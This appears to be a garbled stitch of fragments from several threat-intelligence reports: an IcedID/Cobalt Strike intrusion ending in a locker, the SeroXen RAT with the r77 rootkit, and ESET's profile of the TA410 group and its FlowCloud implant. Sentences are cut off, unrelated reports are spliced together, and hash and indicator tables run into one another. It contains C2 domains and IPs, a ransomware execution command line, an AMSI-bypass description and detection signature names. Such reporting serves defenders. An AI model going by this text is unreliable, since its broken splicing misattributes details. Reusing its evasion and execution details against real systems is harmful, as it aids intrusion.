C:\ProgramData\qwe3.txt C:\Users\[REDACTED USER]\Downloads\sns.txt C:\Windows\Temp\events_Administrator.text C:\Windows\Temp\events_[REDACTED USER].text C:\Windows\Temp\listing.txt C:\Windows\Temp\ns.txt C:\Windows\Temp\nsserv.txt IcedID The malware configuration: Configuration details: {“Campaign ID”: 2220668032 ,“C2 url”: “alockajilly.com”} Initially the IcedID malware made a connection to 64.227.12[.]180:80 for it’s first call back.


When beacons were deployed within the environment, there was a significant increase in outbound network connections to C2 servers.


Cobalt Strike SSL characteristics: destination.ip destination.port tls.client.ja3 tls.client.ja3s zeek.ssl.server.name 172.93.181.165 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 fazehotafa[.]com 45.66.151.109 443 a0e9f5d64349fb13191bc781f81f42e1 ae4edc6faf64d08308082ad26be60767 guteyutur[.]com 111.90.143.191 443 72a589da586844d7f0818ce684948eea ae4edc6faf64d08308082ad26be60767 – 78.128.112.139 443 72a589da586844d7f0818ce684948eea f176ba63b4d68e576b5ba345bec2c7b7 – Analysis of the Nigu.exe binary indicated use of compression and PE loading characteristics, typically observed for Cobalt Strike payload beacon.


For example, Event 4779 relating to a user disconnecting from a terminal session, reveals the client name of the source workstation.


Exfiltrated Documents Opened Remotely During the second day of the intrusion, documents from the organization were opened remotely from 212.102.59[.]162 and 165.231.182[.]14.


The locker_64.exe file was then renamed to 64.exe and executed using the text file in the command arguments: 64.exe /[email protected] The threat actors attempted to execute the malware across all hosts in the target list, but only execution on the backup server was observed.


199.127.60[.]117 199.101.184[.]230 Computed Invoice-09-28#268_PDF.iso 515047b6ce410001696812bc85e197d1 26b11c95a6a324dbb0ab32428361b0531234ecee 68f971a1b391f809058e83058a2037d29c28a8a21fd618b0d952466c632ff1be documents.lnk 1af7a0e058ce1b63b138a1425a835561 66b8da857c6dc45dea3a9fb17a503b3c2d203245 1ee563caf943d3a7ed315dda9c37f0c9c445eec6dfb78ae196d2989626a0dfec eyewear.bat 0d51c60c67c62836ba0f7948113b3737 a597205ed55b6e6413a17edb62cbb29bda735676 999cba918c297bf0b0d7d4aa9003e6338cc300a9270cc758d1d108c26603417d easygoing.dat f102a95e749d1ee63c71df902856ae51 fda81b5951bb02ef0236088c310d9bc4fa70e1e6 f27d924911a7087928012764358bad9240b2ba8aeeca5e0d717abdbb82344981 rapuab1.dll ce1b0e77a31da8dc68f77a977b04f3e4 5facd0aa9a29e0768ab9f432c79eac173af69711 163800b0fbf1b1b7bbc7f719df421ed717111c7c9ddea9c9b41f898ee22dd51a 9bd6b1f24b9589a3fbc1d54b6e6184b8 f8473c6c8b298a3d72c8ca890667eddab62d2ba8 03a9d6afc99e70333723d921bd1265ac948cdabb8b15689b5ceb1c02365a9572 beacA.dll 1b1497c2758ff5a8ade2df336a7a6c2d d6cc874f84797813c225318b877eace04ca5f5a1 47ed0d1c7d8abc159d1eb2bb9fbe037f38b0846217cc11132652734f93ad5678 beaconM-1664297797-T0B9Z_32-cr.exe dbb08886c60f3c44b377d09bd9d8b6d3 7262b7df4d90409fb141856d9b55792872deda20 8f7cc7cc14a12753d41678981b929546d12218d457a9d22951808cb5f19e549c df5ce1159ef2e257df92e1825d786d87 a7e163eaa0fc2afb9c0d5ac6f79cb3e49919dd3c 842737b5c36f624c9420a005239b04876990a2c4011db87fe67504fa09281031 AD.bat e77f23aac8db0d23196b6bef64fe04fc 90bf77e194970dd74d1b49faf58ae395ce49bb34 c2ebcc389304539bc13c3d2023cf88f9ea0bac7210fefa03f8333eaab0bbb76d ns.bat 7ac356035fce31e9e14c3a3d371ddf41 61f838d9b0998ab23877e86f6e8ba3551799e07c 4f52c7448bdcb4caa2eff701b0f3b60b406aea278ecd5a3b23cac808a65418e7 92edbbeff775928cfc6e3c8efefe4ecc fffa0ce086791c41360971e3ce6a0d1af1701616 fc4da07183de876a2b8ed1b35ec1e2657400da9d99a313452162399c519dbfc6 955d0cf317efe48bf0394330fcd82ebb d84d40038311e188e25c78389b51b900de9c69bd e9da08831e0d4395f697e4f18c87be941bf52c79d84da1cc88186bdea1ebf4f4 lsass.dll adc50d0c1e7bf37288a612a0f278e028 6254e8cca47d87f29e85627a08ba88b79915a459 fafc84466c1ce361bb6ce219bde2b64ca07a6a6feda23f444749ba06c44b0580 397020072f5787dbbc0c344f98623bbd 970e793c86266b20d280c04e0f41ec7ae9c2093c 6511d6e84343c2d3a4cd36853170509e2751e27c86f67c6a031dc88e7e495e48 601d613bff412d245e3edf46dc499d83 a39b9119003c63583e2a0f11f19f3e6050399176 2a2c83a7c8cd33e45dc14b8d955e00161580d6d2736f4e75a235aa3eb2f21528 locker_32.dll 131d277cfbc9f4b2d667150d84ad503d f05ff93ee4d2f31bc70c0484a559d562203b7700 a378b8e9173f4a5469e7b5105be40723af29cbd6ee00d3b13ff437dae4514dff license.dat b31de50a57e8cb73c9efda8b97ffa261 a7e3f617644599ec695da84d140a7b69c392a421 55be890947d021fcc8c29af3c7aaf70d8132f222e944719c Network ET HUNTING Suspicious Empty SSL Certificate - Observed in Cobalt Strike ET Threatview.io High Confidence Cobalt Strike C2 IP group 2 ET INFO Pastebin-style Service (textbin .net in TLS SNI) ET INFO Splashtop Domain (splashtop .com) in TLS SNI ET INFO Splashtop Domain in DNS Lookup (splashtop .com)


AnyDesk Remote Desktop Software User-Agent ET EXPLOIT Possible Zerologon Phase 1/3 - NetrServerReqChallenge with 0x00 Client Challenge (CVE-2020-1472) ET EXPLOIT Zerologon Phase 2/3 - NetrServerAuthenticate2 Request with 0x00 Client Challenge and Sign and Seal Disabled (CVE-2020-1472) M1 ET EXPLOIT Zerologon Phase 3/3 - Malicious NetrServerPasswordSet2 (CVE-2020-1472)


Sigma Yara win_cobalt_strike_auto CobaltStrike__Resources_Artifact32_and_Resources_Dropper_v1_45_to_v4_x.yara https://github.com/The-DFIR-Report/Yara-Rules/blob/main/18041/18041.yar Spearphishing Attachment - T1566.001 Windows Management Instrumentation - T1047 Windows Command Shell - T1059.003 Malicious File - T1204.002 PowerShell - T1086 Service Execution - T1035 Scheduled Task - T1053.005 Exploitation for Privilege Escalation - T1068 Access Token Manipulation - T1134 Regsvr32 - T1218.010 Rundll32 - T1218.011 DCSync - T1003.006 LSASS Memory - T1003.001 Domain Trust Discovery - T1482 System Information Discovery - T1082


Since then, there have been released updates to the code until v1.4.1 in March 2023, which is the most current version.


It was around that time that the malware was first observed in the wild, appearing with 0 detections on VirusTotal.


Several lure injector cheat files have been observed with names invoking popular videogames such as Fortnite, Valorant, Roblox or Warzone2.


The threat actor used Discord for the distribution of some of the samples. Figure 3.


This is currently true from a static analysis point of view, since the RAT is packaged into an obfuscated PowerShell batch file.


In addition, its rootkit loads a fresh copy of ntdll.dll, which makes it harder to detect by Endpoint Detection & Response (EDR) solutions that hook into it to detect process injections.


Obfuscated bat script.


Payload embedded resources.


This is in the form of two .NET assemblies: CSStub2.InstallStager.exe, and CSStub2.UninstallStager.exe.


And a Win32 binary called CSStub2.$sxr-nircmd.exe, which corresponds to the unmodified command-line utility NirCmd.


Option to embed additional malware to be executed with the rootkit – in this case NirCmd and/or Quasar.


The rootkit uses several evasion techniques: AMSI bypass: PowerShell inline script patches “amsi.dll!AmsiScanBuffer” to always return “AMSI_RESULT_CLEAN”.


L”$sxr” R77_SERVICE_NAME32 Name for the scheduled task that starts the r77 service for 32-bit processes.


HIDE_PREFIX L”svc64″ CHILD_PROCESS_PIPE_NAME32 Name for the named pipe that notifies the 32-bit r77 service about new child processes.


The service kicks off the load of the rootkit’s DLL that is embedded as a resource and saves its configuration as a registry key.


(In SeroXen case it’s


Child process injection.


CONTROL_R77_RESUME_INJECTION The control code that resumes injection of new processes.


The functionalities offered by the threat actor for the C&C server closely mirror those found in the Quasar Github repository, including support for TCP network streams (both IPv4 and IPv6), efficient network serialization, compression using QuickLZ, and secure communication through TLS encryption. Figure 10.


SURICATA IDS SIGNATURES 2035595:


Scheduled Task T1059: Command and Scripting Interpreter T1059.003:


Abuse Elevation Control Mechanism T1548.002: Bypass User Account Control TA0005: Defense Evasion T1112: Modify Registry T1553:


Remote Desktop Protocol TA009: Collection T1005:


ESET researchers reveal a detailed profile of TA410: we believe this cyberespionage umbrella group consists of three different teams using different toolsets, including a new version of the FlowCloud espionage backdoor discovered by ESET.

A lookback under the TA410 umbrella Its cyberespionage TTPs and activity


TA410 has been active since at least 2018 and was first publicly revealed in August 2019 by Proofpoint in its LookBack blogpost.


ESET telemetry shows victims all around the world, mainly in the governmental and education sectors.


Monitoring clipboard events to steal clipboard content.


FlowingFrog and JollyFrog share network infrastructure – more precisely, the domain ffca.caibi379[.]com, as mentioned by Proofpoint.


In ESET telemetry, we have observed this as having happened at least twice: for instance, one victim is a French academic, and another is a member of a diplomatic mission of a South Asian country in China.


The public-facing application compromise approach is what we have seen the most.


They then dropped an ASPX webshell that was used to install other malicious components.


In August 2021, we observed LookBack being loaded by an IIS worker process on a server belonging to an industrial manufacturing company in Japan.


This happened following the exploitation of the Exchange ProxyShell vulnerability on that server, as we describe in ESET Threat Report T3 2021.


It also contains RTTI symbols and thus a few C++ class names: ClientSocket Manager DllManager KernelManager These class names are the same as used in Farfli/Gh0stRAT, a backdoor that has been used for more than 10 years to conduct (mostly) cyberespionage operations.


Its source code was leaked and is now available on GitHub.


Thus, we believe that TA410 developers reused code copied from Farfli.


On VirusTotal, as shown in Figure 5, we can see one more HTTP request to 103.139.2[.]93 was triggered during the execution of the RTF file.


A summary of the compromise chain is provided in Figure 6. Figure 6.


Compromise chain from the Royal Road document to FlowCloud FlowCloud FlowCloud is a complex implant written in C++.


In this section, we analyze FlowCloud versions 5.0.2 and 5.0.3.


This deployment process is very similar to the one described by Proofpoint for version 5.0.1.


The same values are hardcoded in the following stages, which leads us to think that the samples are generated using a builder.


The application and the accompanying relevant and malicious DLL were both embedded in the loader’s resources.


This is a real possibility as such vulnerabilities were present in older versions of EmEditor, but we did not see any samples using it.


If those checks detect a debugger, the function returns a value that will cause the program to jump to an invalid address and crash.


Decompiler view showing the obvious pattern of anti-debugging checks.


It then sets specific registry keys and files as guardrails to skip the setup on subsequent runs.


The injected code loads the same backdoor (rescure.dat) into the process’s memory and calls its startModule export to finish the installation.


fcClientDll (responsor.dat)


This complex module is the main component of the backdoor.


server_config: This section contains information about the C&C servers and identification information about the victim and backdoor.


product_name: A name for the backdoor in use.


product_version: The backdoor’s version.


These roughly follow an internal naming convention where classes with names ending with manager_handler perform actions in response to C&C commands, while those whose names end with manager automatically perform actions based on timers or event listeners.


Data is encrypted with the aforementioned file_key before being inserted into the database.


The classes are orchestrated by an instance of fc_kernel_manager.


As shown in Figure 13, parameters and frequency of automated actions can be specified and finely tuned through configuration policies.


The policys [sic] section of a decoded FlowCloud config As we have previously mentioned, this implant uses a lot of classes.


It also creates an invisible window that listens for file creation, modification, or renaming events.


Figure 14 shows, after the extraneous code has been removed, how that interface is used.


Another interesting feature is the near real-time monitoring of process activity.


As seen in Figure 15, it achieves this by creating an invisible window with a custom class and registering two clipboard formats.


Set up monitoring of the clipboard Collected clipboard content is stored along with information about the current foreground window.


This information can help attackers understand the data by contextualizing it.


The second way it can collect information about the computer’s surroundings is by recording audio.


Much like a voice assistant, FlowCloud can use a computer’s microphone to listen to its surroundings, but instead of recording being triggered by a command word, it seems to be triggered by any sound over a threshold defined by the decibel_limit field of the audio_policy.


Exits if the process’s executable is not the expected DLL hijacking target (e.g., setlang.exe).


This code inside the new process launches a thread that decrypts and loads the fcClient module before calling its startModule export.


Driver (hidmouse.sys) FlowCloud’s driver serves a dual purpose: it acts as both a keylogger and a rootkit.


That code covers all versions from Windows XP to Windows 10 20H1.


TA410 – LookingFrog LookingFrog uses two main malware families: X4 and LookBack.


We have seen both of them on machines belonging to the same victim. X4 X4 is a custom backdoor that is used as a first stage, before LookBack is deployed.


The loader injects an orchestrator into memory in a svchost.exe process.


It is encrypted using the AES algorithm and stored in the Windows registry.


Network shellcode registry keys Registry KeyDescription HKLM\SOFTWARE\Microsoft\DRM\X4KeyAES key. HKLM\SOFTWARE\Microsoft\DRM\PSKeyName of the process into which the shellcode will be injected (spoolsv.exe). HKLM\SOFTWARE\Microsoft\DRM\X4DataEncrypted shellcode.


0x3F5FAFC0EDDpskillKill a process by PID.


0x3F5FB1E6015pslistList the running processes using CreateToolhelp32Snapshot and Process32Next.


0xE9478DCliveGet the PID of the process in which the orchestrator is running.


Backdoor In all samples we observed, the LookBack loader is a legitimate version of libcurl.dll with the curl_share_init (ordinal #52) export modified to load the SodomNormal communications module.


There seems to be little to no overlap between the values used by the client and the server.


9ServerReply to message type 8.


36 and 38ClientTransfer file to server in message body.


Connection: Keep-AliveCache-Control: no-cache id=1&op=report&status=<encoded LookBack message> Figure 21.


The loader allocates memory using VirtualAlloc and copies the content of qrt.dll.usb there.


TA410 uses a custom downloader and a custom loader written in .NET, which are convenient for identifying their instances of QuasarRAT among all the noise created by other attackers.


Initial access to targets is obtained by exploiting vulnerable internet-facing applications such as Microsoft Exchange, or by sending spearphishing emails with malicious attachments such as RTF documents created via the Royal Road builder.


IoCs Files SHA-1FilenameDetectionDescription C96558312FBF5847351B0B6F724D7B3A31CCAF03N/AWin32/Agent.


UNLFlowCloud DLL hijacking malicious library.


CPMetasploit Meterpreter backdoor.


ULLFlowCloud fcClientDLL final stage backdoor.


TYMalicious Royal Road document.


B868764C46BADC152667E9128375BA4F8D936559qrt.dll.usbN/AKorplug encrypted payload.


Hucline.


Initial AccessT1190Exploit Public-Facing ApplicationTA410 has exploited web server vulnerabilities for initial access.


T1055.003Process Injection: Thread Execution HijackingOne of FlowCloud’s DLLs replaces instructions in the loading process to make it execute code written in its memory.


T1140Deobfuscate/Decode Files or InformationMultiple TA410 backdoors communicate with their C&C through encrypted and obfuscated channels.


T1574.002Hijack Execution Flow: DLL Side-LoadingFlowCloud uses DLL Side-Loading to launch its second-stage dropper.


T1016System Network Configuration DiscoveryFlowCloud can discover and use locally configured proxies.


CaptureFlowCloud takes screenshots at regular intervals.


T1560.002Archive Collected Data: Archive via LibraryFlowCloud and LookBack use a statically linked zlib library to compress data.


Command And ControlT1071.001Application Layer Protocol: Web ProtocolsLookBack and FlowCloud can send and receive data over HTTP.


T1095Non-Application Layer ProtocolLookBack can communicate over raw TCP sockets.